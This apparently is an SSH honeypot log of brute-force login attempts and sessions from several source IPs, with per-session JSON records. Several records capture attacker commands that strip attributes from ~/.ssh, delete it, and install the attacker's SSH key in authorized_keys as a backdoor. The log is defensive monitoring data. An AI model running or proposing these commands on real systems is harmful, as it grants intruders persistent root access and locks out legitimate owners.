[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5e1883d14342

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5e1883d14342",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:40:07.001472Z",
  "end_time": "2026-07-28T14:40:10.682896Z",
  "duration": "3.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Password01@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

70.81.127.119

2026-07-28 14:37:34.394108 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: desliga

Record ID: c266c114a6a9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c266c114a6a9",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:37:34.394108Z",
  "end_time": "2026-07-28T14:37:35.968804Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "desliga",
      "pass": "desliga"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-28 14:35:22.948554 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 23a495697459

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "23a495697459",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T14:35:22.948554Z",
  "end_time": "2026-07-28T14:35:24.104854Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:35:04.054935 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zhangjiale

Record ID: 936d2daa1f61

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "936d2daa1f61",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:35:04.054935Z",
  "end_time": "2026-07-28T14:35:05.699857Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "zhangjiale",
      "pass": "zhangjiale"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-07-28 14:33:13.075061 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / alexei

Record ID: a4baac60a39b

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "a4baac60a39b",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-28T14:33:13.075061Z",
  "end_time": "2026-07-28T14:33:19.086831Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "alexei"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-07-28 14:33:06.444132 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: alanis

Record ID: e4a3daf9ba73

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "e4a3daf9ba73",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-28T14:33:06.444132Z",
  "end_time": "2026-07-28T14:33:12.969646Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "alanis",
      "pass": "alanis"
    },
    {
      "user": "alanis",
      "pass": "alanis1"
    },
    {
      "user": "alanis",
      "pass": "alanis123"
    },
    {
      "user": "alanis",
      "pass": "alanis1234"
    },
    {
      "user": "alanis",
      "pass": "alanis12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:32:36.161801 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: group3

Record ID: 87548ceae026

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "87548ceae026",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:32:36.161801Z",
  "end_time": "2026-07-28T14:32:37.810918Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "group3",
      "pass": "group3"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

123.113.168.45

2026-07-28 14:31:00.829603 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0b1611e4f00c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "0b1611e4f00c",
  "src_ip": "123.113.168.45",
  "start_time": "2026-07-28T14:31:00.829603Z",
  "end_time": "2026-07-28T14:33:00.857617Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

70.81.127.119

2026-07-28 14:30:10.524916 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hydra

Record ID: 4a796b122292

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4a796b122292",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:30:10.524916Z",
  "end_time": "2026-07-28T14:30:12.228973Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "hydra",
      "pass": "hydra"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:27:52.469909 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: bab7ef5e7d1b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "bab7ef5e7d1b",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:27:52.469909Z",
  "end_time": "2026-07-28T14:27:53.401012Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:27:50.663636 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 1b9b8a444fc0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1b9b8a444fc0",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:27:50.663636Z",
  "end_time": "2026-07-28T14:27:52.385107Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:27:49.247008 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / slackware

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 658bd0bb1e7e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "658bd0bb1e7e",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:27:49.247008Z",
  "end_time": "2026-07-28T14:27:53.398009Z",
  "duration": "4.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "slackware"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

121.227.152.250

2026-07-28 14:26:39.913095 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 83d2eb12278b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "83d2eb12278b",
  "src_ip": "121.227.152.250",
  "start_time": "2026-07-28T14:26:39.913095Z",
  "end_time": "2026-07-28T14:28:39.929045Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

70.81.127.119

2026-07-28 14:25:28.001948 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: b968dff82828

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b968dff82828",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:25:28.001948Z",
  "end_time": "2026-07-28T14:25:28.596810Z",
  "duration": "0.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:25:26.305954 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 2f6db52e489a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2f6db52e489a",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:25:26.305954Z",
  "end_time": "2026-07-28T14:25:27.916488Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:25:25.003109 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Qwer123!@#

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5ee95301c897

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5ee95301c897",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:25:25.003109Z",
  "end_time": "2026-07-28T14:25:28.592955Z",
  "duration": "3.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qwer123!@#"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

70.81.127.119

2026-07-28 14:22:56.771534 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cdl

Record ID: f13d87242862

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f13d87242862",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:22:56.771534Z",
  "end_time": "2026-07-28T14:22:58.576963Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "cdl",
      "pass": "cdl"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:20:29.848589 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: git / 3245gs5662d34

Record ID: 4bbcebf9c258

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4bbcebf9c258",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:20:29.848589Z",
  "end_time": "2026-07-28T14:20:30.466840Z",
  "duration": "0.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

115.190.83.181

2026-07-28 14:20:28.497605 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ec08c0e2132f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ec08c0e2132f",
  "src_ip": "115.190.83.181",
  "start_time": "2026-07-28T14:20:28.497605Z",
  "end_time": "2026-07-28T14:22:28.502532Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}